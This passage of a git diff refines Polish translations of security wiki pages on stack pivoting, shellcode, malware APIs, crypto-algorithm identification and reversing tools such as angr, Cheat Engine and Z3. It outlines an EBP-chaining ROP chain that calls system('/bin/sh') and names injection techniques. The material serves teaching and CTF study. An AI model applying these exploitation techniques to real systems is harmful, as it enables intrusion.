specyficzna wariant tej techniki znana jako "Off-By-One Exploit". Jest używana, gdy możesz **zmodyfikować tylko najmniej znaczący bajt EBP**. W takim przypadku lokalizacja pamięci przechowująca adres, do którego należy skoczyć z **`ret`**, musi dzielić pierwsze trzy bajty z EBP, co pozwala na podobną manipulację w bardziej ograniczonych warunkach. -### **Łańcuchowanie EBP** +### **Łańcuch EBP** Dlatego umieszczając kontrolowany adres w wpisie `EBP` na stosie i adres do `leave; ret` w `EIP`, możliwe jest **przeniesienie `ESP` do kontrolowanego adresu `EBP` ze stosu**. -Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, można umieścić w kontrolowanym miejscu ESP to: +Teraz **`ESP`** jest kontrolowane, wskazując na pożądany adres, a następna instrukcja do wykonania to `RET`. Aby to wykorzystać, możliwe jest umieszczenie w kontrolowanym miejscu ESP: - **`&(next fake EBP)`** -> Załaduj nowy EBP z powodu `pop ebp` z instrukcji `leave` - **`system()`** -> Wywołane przez `ret` -- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie od nowa +- **`&(leave;ret)`** -> Wywołane po zakończeniu systemu, przeniesie ESP do fałszywego EBP i zacznie ponownie - **`&("/bin/sh")`**-> Parametr dla `system` -W zasadzie w ten sposób można łańcuchować kilka fałszywych EBP, aby kontrolować przepływ programu. +W zasadzie w ten sposób możliwe jest łączenie kilku fałszywych EBP, aby kontrolować przepływ programu. To jest jak [ret2lib](ret2lib/), ale bardziej skomplikowane bez oczywistych korzyści, ale może być interesujące w niektórych skrajnych przypadkach. @@ -91,10 +91,10 @@ print(p.recvline()) ``` ## EBP jest bezużyteczny -Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego każdy exploit działający poprzez kontrolowanie EBP zasadniczo się nie powiedzie, ponieważ nie ma rzeczywistego efektu.\ +Jak [**wyjaśniono w tym poście**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), jeśli binarka jest kompilowana z pewnymi optymalizacjami, **EBP nigdy nie kontroluje ESP**, dlatego jakiekolwiek exploity działające poprzez kontrolowanie EBP w zasadzie będą nieudane, ponieważ nie mają żadnego rzeczywistego efektu.\ Dzieje się tak, ponieważ **prolog i epilog zmieniają się**, jeśli binarka jest zoptymalizowana. -- **Nie zoptymalizowane:** +- **Nieoptymalizowane:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -120,7 +120,7 @@ ret # return ### **`pop rsp`** gadget -[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **gadget `pop rsp`** i był **leak ze stosu**: +[**Na tej stronie**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) znajdziesz przykład użycia tej techniki. W tym wyzwaniu konieczne było wywołanie funkcji z 2 konkretnymi argumentami, a tam był **`pop rsp` gadget** i był **leak ze stosu**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index 1569345e9..89953063f 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -74,7 +74,7 @@ Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode** - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win. - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotu EIP nigdy nie będzie śledzony. -- Ochrona **NX** (../common-binary-protections-and-bypasses/no-exec-nx.md) **stosu** uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny. +- Ochrona **NX** (non-executable) [**stack**](../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny. ## Inne przykłady i odniesienia diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md index d5964a6cf..bcb5a8b74 100644 --- a/src/reversing/common-api-used-in-malware.md +++ b/src/reversing/common-api-used-in-malware.md @@ -116,7 +116,7 @@ Znajdź wątek z procesu i spraw, aby załadował złośliwą DLL ### PE Injection -Wstrzykiwanie Portable Execution: Wykonywalny kod zostanie zapisany w pamięci procesu ofiary i będzie wykonywany stamtąd. +Wstrzykiwanie Portable Execution: Wykonywalny plik zostanie zapisany w pamięci procesu ofiary i będzie wykonywany stamtąd. ### Process Hollowing diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 865ea08f9..aa4d73fc3 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -57,7 +57,7 @@ Możesz uzyskać dostęp do tych danych, **grupując pierwszy dword** i wyszukuj W tym przypadku, jeśli wyszukasz **0xA56363C6**, możesz znaleźć, że jest związany z **tabelami algorytmu AES**. -## RC4 **(Symetryczna kryptografia)** +## RC4 **(Kryptografia symetryczna)** ### Cechy @@ -82,7 +82,7 @@ Składa się z 3 głównych części: ![](<../../images/image (379).png>) -## **AES (Symetryczna kryptografia)** +## **AES (Kryptografia symetryczna)** ### **Cechy** @@ -94,7 +94,7 @@ Składa się z 3 głównych części: ![](<../../images/image (380).png>) -## Serpent **(Symetryczna kryptografia)** +## Serpent **(Kryptografia symetryczna)** ### Cechy @@ -108,13 +108,13 @@ Zauważ także **rozmiar pętli** (**132**) oraz **liczbę operacji XOR** w inst ![](<../../images/image (381).png>) -Jak wspomniano wcześniej, ten kod może być wizualizowany w dowolnym dekompilatorze jako **bardzo długa funkcja**, ponieważ **nie ma skoków** w jej wnętrzu. Zdekompilowany kod może wyglądać następująco: +Jak wspomniano wcześniej, ten kod można zobaczyć w dowolnym dekompilatorze jako **bardzo długą funkcję**, ponieważ **nie ma skoków** w jej wnętrzu. Zdekompilowany kod może wyglądać następująco: ![](<../../images/image (382).png>) -Dlatego możliwe jest zidentyfikowanie tego algorytmu, sprawdzając **magiczną liczbę** i **początkowe XORy**, widząc **bardzo długą funkcję** i **porównując** niektóre **instrukcje** długiej funkcji **z implementacją** (jak przesunięcie w lewo o 7 i obrót w lewo o 22). +Dlatego możliwe jest zidentyfikowanie tego algorytmu, sprawdzając **magiczną liczbę** i **początkowe XOR**, widząc **bardzo długą funkcję** i **porównując** niektóre **instrukcje** długiej funkcji **z implementacją** (jak przesunięcie w lewo o 7 i obrót w lewo o 22). -## RSA **(Asymetryczna kryptografia)** +## RSA **(Kryptografia asymetryczna)** ### Cechy @@ -169,8 +169,8 @@ Algorytm haszujący CRC wygląda jak: ### Cechy -- Brak rozpoznawalnych stałych -- Możesz spróbować napisać algorytm w Pythonie i poszukać podobnych rzeczy w Internecie +- Nie rozpoznawalne stałe +- Możesz spróbować napisać algorytm w Pythonie i wyszukać podobne rzeczy w Internecie ### Identyfikacja diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md index 33895d4d0..e52664738 100644 --- a/src/reversing/reversing-tools-basic-methods/README.md +++ b/src/reversing/reversing-tools-basic-methods/README.md @@ -12,9 +12,9 @@ Oprogramowanie: Online: -- Użyj [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), aby **dekompilować** z wasm (binarnego) do wat (czystego tekstu) -- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **kompilować** z wat do wasm -- możesz także spróbować użyć [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/), aby dekompilować +- Użyj [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), aby **zdekompilować** z wasm (binarnego) do wat (czystego tekstu) +- Użyj [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), aby **skompilować** z wat do wasm +- możesz także spróbować użyć [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/), aby zdekompilować Oprogramowanie: @@ -25,7 +25,7 @@ Oprogramowanie: ### [dotPeek](https://www.jetbrains.com/decompiler/) -dotPeek to dekompilator, który **dekompiluje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) oraz **wykonywalne** (.exe). Po dekompilacji, zestaw można zapisać jako projekt Visual Studio (.csproj). +dotPeek to dekompilator, który **zdekompilowuje i bada wiele formatów**, w tym **biblioteki** (.dll), **pliki metadanych Windows** (.winmd) oraz **wykonywalne** (.exe). Po zdekompilowaniu, zestaw można zapisać jako projekt Visual Studio (.csproj). Zaletą jest to, że jeśli utracony kod źródłowy wymaga przywrócenia z przestarzałego zestawu, ta akcja może zaoszczędzić czas. Ponadto, dotPeek zapewnia wygodną nawigację po zdekompilowanym kodzie, co czyni go jednym z idealnych narzędzi do **analizy algorytmów Xamarin.** @@ -37,13 +37,13 @@ Dzięki kompleksowemu modelowi dodatków i API, które rozszerza narzędzie, aby - Zapewnia wgląd w implementację i użycie języków i frameworków .NET - Znajduje nieudokumentowane i nieujawnione funkcjonalności, aby uzyskać więcej z używanych API i technologii. - Znajduje zależności i różne zestawy -- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach firm trzecich. +- Śledzi dokładne miejsce błędów w Twoim kodzie, komponentach i bibliotekach stron trzecich. - Debuguje źródło całego kodu .NET, z którym pracujesz. -### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) +### [ILSpy](https://github.com/icsharpcode/ILSpy) i [dnSpy](https://github.com/dnSpy/dnSpy/releases) [Plugin ILSpy dla Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Możesz go mieć w każdym systemie operacyjnym (możesz zainstalować go bezpośrednio z VSCode, nie ma potrzeby pobierania gita. Kliknij na **Rozszerzenia** i **wyszukaj ILSpy**).\ -Jeśli potrzebujesz **dekompilować**, **modyfikować** i **ponownie kompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Modyfikuj metodę**, aby zmienić coś w funkcji). +Jeśli potrzebujesz **zdekompilować**, **zmodyfikować** i **ponownie skompilować**, możesz użyć [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) lub aktywnie utrzymywanego forka, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Kliknij prawym przyciskiem -> Zmień metodę**, aby zmienić coś wewnątrz funkcji). ### Logowanie DNSpy @@ -134,7 +134,7 @@ Ale jak możesz dotrzeć do kodu DLL, która została załadowana? Używając te - **Załaduj rundll32** (64 bity w C:\Windows\System32\rundll32.exe i 32 bity w C:\Windows\SysWOW64\rundll32.exe) - **Zmień linię poleceń** (_File --> Change Command Line_) i ustaw ścieżkę do dll oraz funkcję, którą chcesz wywołać, na przykład: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain - Zmień _Options --> Settings_ i wybierz "**DLL Entry**". -- Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej dll, w pewnym momencie **zatrzymasz się w wejściu dll twojej dll**. Stamtąd po prostu poszukaj punktów, w których chcesz ustawić punkt przerwania. +- Następnie **rozpocznij wykonanie**, debugger zatrzyma się w każdej głównej dll, w pewnym momencie **zatrzymasz się w wejściu dll twojej dll**. Stamtąd wystarczy poszukać punktów, w których chcesz ustawić punkt przerwania. Zauważ, że gdy wykonanie zostanie zatrzymane z jakiegokolwiek powodu w win64dbg, możesz zobaczyć **w którym kodzie jesteś**, patrząc na **górę okna win64dbg**: @@ -150,9 +150,9 @@ Następnie, patrząc na to, możesz zobaczyć, kiedy wykonanie zostało zatrzyma cheat-engine.md {{#endref}} -[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-endowe/odwróconego inżynierii dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z odwróconą inżynierią rzeczy. +[**PiNCE**](https://github.com/korcankaraokcu/PINCE) to narzędzie front-end/odwróconego inżynierii dla GNU Project Debugger (GDB), skoncentrowane na grach. Może być jednak używane do wszelkich związanych z odwróconą inżynierią rzeczy. -[**Decompiler Explorer**](https://dogbolt.org/) to internetowy front-end dla wielu dekompilatorów. Ta usługa internetowa pozwala porównywać wyniki różnych dekompilatorów na małych plikach wykonywalnych. +[**Decompiler Explorer**](https://dogbolt.org/) to internetowy front-end do wielu dekompilatorów. Ta usługa internetowa pozwala porównywać wyniki różnych dekompilatorów na małych plikach wykonywalnych. ## ARM i MIPS @@ -165,7 +165,7 @@ cheat-engine.md [**Blobrunner**](https://github.com/OALabs/BlobRunner) **alokuje** **shellcode** w przestrzeni pamięci, **wskaże** ci **adres pamięci**, w którym shellcode został alokowany i **zatrzyma** wykonanie.\ Następnie musisz **dołączyć debugger** (Ida lub x64dbg) do procesu i ustawić **punkt przerwania w wskazanym adresie pamięci** oraz **wznowić** wykonanie. W ten sposób będziesz debugować shellcode. -Strona z wydaniami na githubie zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ +Strona z wydaniami na github zawiera zips z skompilowanymi wydaniami: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ Możesz znaleźć nieco zmodyfikowaną wersję Blobrunner w następującym linku. Aby ją skompilować, po prostu **stwórz projekt C/C++ w Visual Studio Code, skopiuj i wklej kod i zbuduj go**. {{#ref}} @@ -188,7 +188,7 @@ Zauważ, że Cutter pozwala na "Otwórz plik" i "Otwórz shellcode". W moim przy ![](<../../images/image (562).png>) -Aby rozpocząć emulację w miejscu, w którym chcesz, ustaw tam bp, a najwyraźniej cutter automatycznie rozpocznie emulację stamtąd: +Aby rozpocząć emulację w miejscu, w którym chcesz, ustaw tam bp, a Cutter automatycznie rozpocznie emulację stamtąd: ![](<../../images/image (589).png>) @@ -214,7 +214,7 @@ scDbg dysponuje również graficznym uruchamiaczem, w którym możesz wybrać op ![](<../../images/image (258).png>) -Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zostaną wprowadzone do shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **start offset** może być przydatny do rozpoczęcia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że żadna z wcześniej wyjaśnionych opcji nie jest lepsza w tej kwestii, ponieważ będziesz mógł używać Ida lub x64dbg). +Opcja **Create Dump** zrzuci końcowy shellcode, jeśli jakiekolwiek zmiany zostaną wprowadzone do shellcode dynamicznie w pamięci (przydatne do pobrania zdekodowanego shellcode). **Start offset** może być przydatny do rozpoczęcia shellcode w określonym przesunięciu. Opcja **Debug Shell** jest przydatna do debugowania shellcode za pomocą terminala scDbg (jednak uważam, że żadna z wcześniej wyjaśnionych opcji nie jest lepsza w tej kwestii, ponieważ będziesz mógł używać Ida lub x64dbg). ### Disassembling using CyberChef @@ -249,17 +249,17 @@ Mając **nazwy** wywoływanych **funkcji**, przeszukaj je w **Internecie**, aby Dla skompilowanych binarek Delphi możesz użyć [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) -Jeśli musisz zredukować binarkę Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) +Jeśli musisz zrewersować binarkę Delphi, sugeruję użycie wtyczki IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) Po prostu naciśnij **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python. -Ta wtyczka wykona binarkę i dynamicznie rozwiąże nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania naciśnij ponownie przycisk Start (zielony lub f9), a punkt przerwania zostanie osiągnięty na początku rzeczywistego kodu. +Ta wtyczka wykona binarkę i dynamicznie rozwiąże nazwy funkcji na początku debugowania. Po rozpoczęciu debugowania naciśnij ponownie przycisk Start (zielony lub f9), a punkt przerwania zatrzyma się na początku rzeczywistego kodu. Jest to również bardzo interesujące, ponieważ jeśli naciśniesz przycisk w aplikacji graficznej, debugger zatrzyma się w funkcji wywołanej przez ten przycisk. ## Golang -Jeśli musisz zredukować binarkę Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) +Jeśli musisz zrewersować binarkę Golang, sugeruję użycie wtyczki IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) Po prostu naciśnij **ATL+f7** (importuj wtyczkę python w IDA) i wybierz wtyczkę python. @@ -303,7 +303,7 @@ W takim programie interesującą częścią będzie **jak program traktuje dane ![](<../../images/image (447).png>) -Na poprzednim obrazku możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_). +Na poprzednim obrazie możesz zobaczyć, że funkcja jest wywoływana z **FUN_080015a8** (adresy: _0x080015fa_ i _0x080017ac_). W tej funkcji, po kilku operacjach inicjalizacyjnych (bez większego znaczenia): ```c @@ -371,7 +371,7 @@ W poprzednim kodzie widać, że porównujemy **uVar1** (miejsce, w którym znajd - Najpierw porównuje się z **wartością 4** (**przycisk SELECT**): W wyzwaniu ten przycisk czyści ekran. - Następnie porównuje się z **wartością 8** (**przycisk START**): W wyzwaniu sprawdza, czy kod jest ważny, aby uzyskać flagę. - W tym przypadku zmienna **`DAT_030000d8`** jest porównywana z 0xf3, a jeśli wartość jest taka sama, wykonywany jest pewien kod. -- W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 tuż po wejściu w kod.\ +- W innych przypadkach sprawdzana jest zmienna cont (`DAT_030000d4`). To jest cont, ponieważ dodaje 1 zaraz po wejściu w kod.\ **Jeśli** jest mniej niż 8, wykonywane jest coś, co polega na **dodawaniu** wartości do \*\*`DAT_030000d8` \*\* (w zasadzie dodaje wartości naciśniętych klawiszy do tej zmiennej, o ile cont jest mniejszy niż 8). Tak więc, w tym wyzwaniu, znając wartości przycisków, musiałeś **nacisnąć kombinację o długości mniejszej niż 8, której wynikowa suma to 0xf3.** diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md index d54508f69..264891892 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/README.md +++ b/src/reversing/reversing-tools-basic-methods/angr/README.md @@ -28,7 +28,7 @@ proj.filename #Get filename "/bin/true" #Usually you won't need to use them but you could angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}}) ``` -# Załadowane i główne informacje o obiektach +# Załadowane i główne informacje o obiekcie ## Załadowane dane ```python @@ -53,7 +53,7 @@ proj.loader.all_elf_objects #Get all ELF objects loaded (Linux) proj.loader.all_pe_objects #Get all binaries loaded (Windows) proj.loader.find_object_containing(0x400000)#Get object loaded in an address "" ``` -## Główny Obiekt +## Główny obiekt ```python #Main Object (main binary loaded) obj = proj.loader.main_object # diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md index efeeba082..7c6dae2be 100644 --- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md +++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md @@ -392,7 +392,7 @@ main(sys.argv) > # > # hello_txt_contents = claripy.BVV('Hello world, my name is John.', 30*8) > # -> # Być może chcielibyśmy zastąpić John +> # Być może chcielibyśmy wtedy zastąpić John > # zmienną symboliczną. Nazwiemy to: > # > # name_bitvector = claripy.BVS('symbolic_name', 4*8) @@ -407,7 +407,7 @@ main(sys.argv) ### Stosowanie Ograniczeń > [!NOTE] -> Czasami proste operacje ludzkie, takie jak porównanie 2 słów o długości 16 **char po char** (pętla), **kosztują** dużo dla **angr**, ponieważ musi generować gałęzie **eksponencjalnie**, ponieważ generuje 1 gałąź na if: `2^16`\ +> Czasami proste operacje ludzkie, takie jak porównanie 2 słów o długości 16 **znak po znaku** (pętla), **kosztują** dużo dla **angr**, ponieważ musi generować gałęzie **eksponencjalnie**, ponieważ generuje 1 gałąź na if: `2^16`\ > Dlatego łatwiej jest **poprosić angr o powrót do poprzedniego punktu** (gdzie trudna część została już wykonana) i **ustawić te ograniczenia ręcznie**. ```python # After perform some complex poperations to the input the program checks @@ -485,7 +485,7 @@ main(sys.argv) > [!NOTE] > Inną rzeczą, którą możesz zrobić w tych scenariuszach, jest **podpięcie funkcji, dając angr coś, co może zrozumieć** łatwiej. -### Menedżerowie Symulacji +### Menedżery symulacji Niektórzy menedżerowie symulacji mogą być bardziej przydatni niż inni. W poprzednim przykładzie wystąpił problem, ponieważ stworzono wiele użytecznych gałęzi. Tutaj technika **veritesting** połączy je i znajdzie rozwiązanie.\ Ten menedżer symulacji można również aktywować za pomocą: `simulation = project.factory.simgr(initial_state, veritesting=True)` diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md index 87d0ecb86..37f4c14d9 100644 --- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md +++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md @@ -10,7 +10,7 @@ Po pobraniu i uruchomieniu programu, **zostaniesz** **przedstawiony** z **samouc ![](<../../images/image (762).png>) To narzędzie jest bardzo przydatne do znalezienia **gdzie jakaś wartość** (zwykle liczba) **jest przechowywana w pamięci** programu.\ -**Zwykle liczby** są przechowywane w formacie **4bytes**, ale możesz je również znaleźć w formatach **double** lub **float**, lub możesz chcieć szukać czegoś **innego niż liczba**. Z tego powodu musisz upewnić się, że **wybierasz** to, co chcesz **wyszukiwać**: +**Zwykle liczby** są przechowywane w formacie **4bytes**, ale możesz je również znaleźć w formatach **double** lub **float**, lub możesz chcieć szukać czegoś **innego niż liczba**. Z tego powodu musisz upewnić się, że **wybierasz** to, co chcesz **wyszukać**: ![](<../../images/image (324).png>) @@ -40,7 +40,7 @@ A na koniec **zaznaczając pole**, aby wprowadzić modyfikację w pamięci: **Zmiana** w **pamięci** zostanie natychmiast **zastosowana** (zauważ, że dopóki gra nie użyje tej wartości ponownie, wartość **nie zostanie zaktualizowana w grze**). -## Wyszukiwanie wartości +## Szukanie wartości Załóżmy, że istnieje ważna wartość (jak życie twojego użytkownika), którą chcesz poprawić, i szukasz tej wartości w pamięci. @@ -50,7 +50,7 @@ Zakładając, że szukasz wartości 100, **przeprowadzasz skanowanie** w poszuki ![](<../../images/image (108).png>) -Następnie robisz coś, aby **wartość się zmieniła**, zatrzymujesz grę i **przeprowadzasz** **następne skanowanie**: +Następnie robisz coś, aby **wartość się zmieniła**, a następnie **zatrzymujesz** grę i **przeprowadzasz** **następne skanowanie**: ![](<../../images/image (684).png>) @@ -61,15 +61,15 @@ Cheat Engine będzie szukać **wartości**, które **zmieniły się z 100 na now W scenariuszu, w którym **nie znasz wartości**, ale wiesz **jak ją zmienić** (a nawet wartość zmiany), możesz szukać swojej liczby. -Zacznij od przeprowadzenia skanowania typu "**Nieznana wartość początkowa**": +Zacznij od przeprowadzenia skanowania typu "**Nieznana początkowa wartość**": ![](<../../images/image (890).png>) -Następnie zmień wartość, wskaż **jak** **wartość** **się zmieniła** (w moim przypadku zmniejszyła się o 1) i przeprowadź **następne skanowanie**: +Następnie, zmień wartość, wskaż **jak** **wartość** **się zmieniła** (w moim przypadku zmniejszyła się o 1) i przeprowadź **następne skanowanie**: ![](<../../images/image (371).png>) -Zostaniesz przedstawiony **wszystkimi wartościami, które zostały zmodyfikowane w wybrany sposób**: +Zostaną przedstawione **wszystkie wartości, które zostały zmodyfikowane w wybrany sposób**: ![](<../../images/image (569).png>) @@ -117,7 +117,7 @@ Kliknij na "**Dodaj adres ręcznie**": ![](<../../images/image (990).png>) -Teraz kliknij na pole wyboru "Wskaźnik" i dodaj znaleziony adres w polu tekstowym (w tym scenariuszu, znaleziony adres na poprzednim obrazie to "Tutorial-i386.exe"+2426B0): +Teraz zaznacz pole "Wskaźnik" i dodaj znaleziony adres w polu tekstowym (w tym scenariuszu, znaleziony adres na poprzednim obrazie to "Tutorial-i386.exe"+2426B0): ![](<../../images/image (392).png>) @@ -138,7 +138,7 @@ Wyobraź sobie, że znalazłeś adres, który odejmuje 1 od życia twojego gracz ![](<../../images/image (203).png>) Kliknij na Pokaż disassembler, aby uzyskać **kod disassembly**.\ -Następnie kliknij **CTRL+a**, aby wywołać okno Auto assemble i wybierz _**Template --> Code Injection**_ +Następnie kliknij **CTRL+a**, aby wywołać okno Auto assemble i wybierz _**Template --> Wstrzykiwanie kodu**_ ![](<../../images/image (902).png>) diff --git a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md index 6cd7bc1dd..08eabb840 100644 --- a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md +++ b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md @@ -6,7 +6,7 @@ Bardzo ogólnie, to narzędzie pomoże nam znaleźć wartości dla zmiennych, kt # Podstawowe operacje -## Booleany/And/Or/Not +## Booleany/I/Lub/Nie ```python #pip3 install z3-solver from z3 import * @@ -74,7 +74,7 @@ print(simplify(a == b)) #This is False ``` ## Liczby ze znakiem/bez znaku -Z3 oferuje specjalne wersje operacji arytmetycznych ze znakiem, gdzie ma znaczenie, czy **wektor bitowy jest traktowany jako ze znakiem, czy bez znaku**. W Z3Py, operatory **<, <=, >, >=, /, % i >>** odpowiadają wersjom **ze znakiem**. Odpowiednie operatory **bez znaku** to **ULT, ULE, UGT, UGE, UDiv, URem i LShR.** +Z3 oferuje specjalne wersje operacji arytmetycznych, w których ma znaczenie, czy **wektor bitowy jest traktowany jako ze znakiem, czy bez znaku**. W Z3Py, operatory **<, <=, >, >=, /, % i >>** odpowiadają wersjom **ze znakiem**. Odpowiednie operatory **bez znaku** to **ULT, ULE, UGT, UGE, UDiv, URem i LShR.** ```python from z3 import * @@ -94,9 +94,9 @@ solve(ULT(x, 0)) ``` ## Funkcje -**Funkcje interpretowane** takie jak arytmetyka, gdzie **funkcja +** ma **stałą standardową interpretację** (dodaje dwie liczby). **Funkcje nieinterpretowane** i stałe są **maksymalnie elastyczne**; pozwalają na **dowolną interpretację**, która jest **spójna** z **ograniczeniami** nałożonymi na funkcję lub stałą. +**Interpretowane funkcje** takie jak arytmetyka, gdzie **funkcja +** ma **stałą standardową interpretację** (dodaje dwie liczby). **Nieinterpretowane funkcje** i stałe są **maksymalnie elastyczne**; pozwalają na **dowolną interpretację**, która jest **spójna** z **ograniczeniami** nałożonymi na funkcję lub stałą. -Przykład: f zastosowane dwukrotnie do x skutkuje ponownie x, ale f zastosowane raz do x jest różne od x. +Przykład: f zastosowane dwukrotnie do x daje z powrotem x, ale f zastosowane raz do x jest różne od x. ```python from z3 import * diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md index 2315abeae..61405cdad 100644 --- a/src/reversing/reversing-tools/README.md +++ b/src/reversing/reversing-tools/README.md @@ -57,7 +57,7 @@ Aby dekompilować bajtkod Java, te narzędzia mogą być bardzo pomocne: ### Używając IDA - **Rundll32** jest ładowany z określonych ścieżek dla wersji 64-bitowych i 32-bitowych. -- **Windbg** jest wybierany jako debugger z włączoną opcją wstrzymywania przy ładowaniu/wyładowywaniu biblioteki. +- **Windbg** jest wybierany jako debugger z opcją wstrzymania przy ładowaniu/wyładowywaniu biblioteki włączoną. - Parametry wykonania obejmują ścieżkę DLL i nazwę funkcji. Ta konfiguracja zatrzymuje wykonanie przy każdym ładowaniu DLL. ### Używając x64dbg/x32dbg @@ -69,7 +69,7 @@ Aby dekompilować bajtkod Java, te narzędzia mogą być bardzo pomocne: - Punkty zatrzymania wykonania i konfiguracje są ilustrowane za pomocą zrzutów ekranu. -## **ARM & MIPS** +## **ARM i MIPS** - Do emulacji, [arm_now](https://github.com/nongiach/arm_now) jest przydatnym zasobem. @@ -108,4 +108,7 @@ scdbg.exe -f shellcode /foff 0x0000004D # Wykonaj z offsetu # Kursy -- [https://github.com/ +- [https://github.com/0xZ0F/Z0FCourse_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse_ReverseEngineering) +- [https://github.com/malrev/ABD](https://github.com/malrev/ABD) \(Deobfuskacja binarna\) 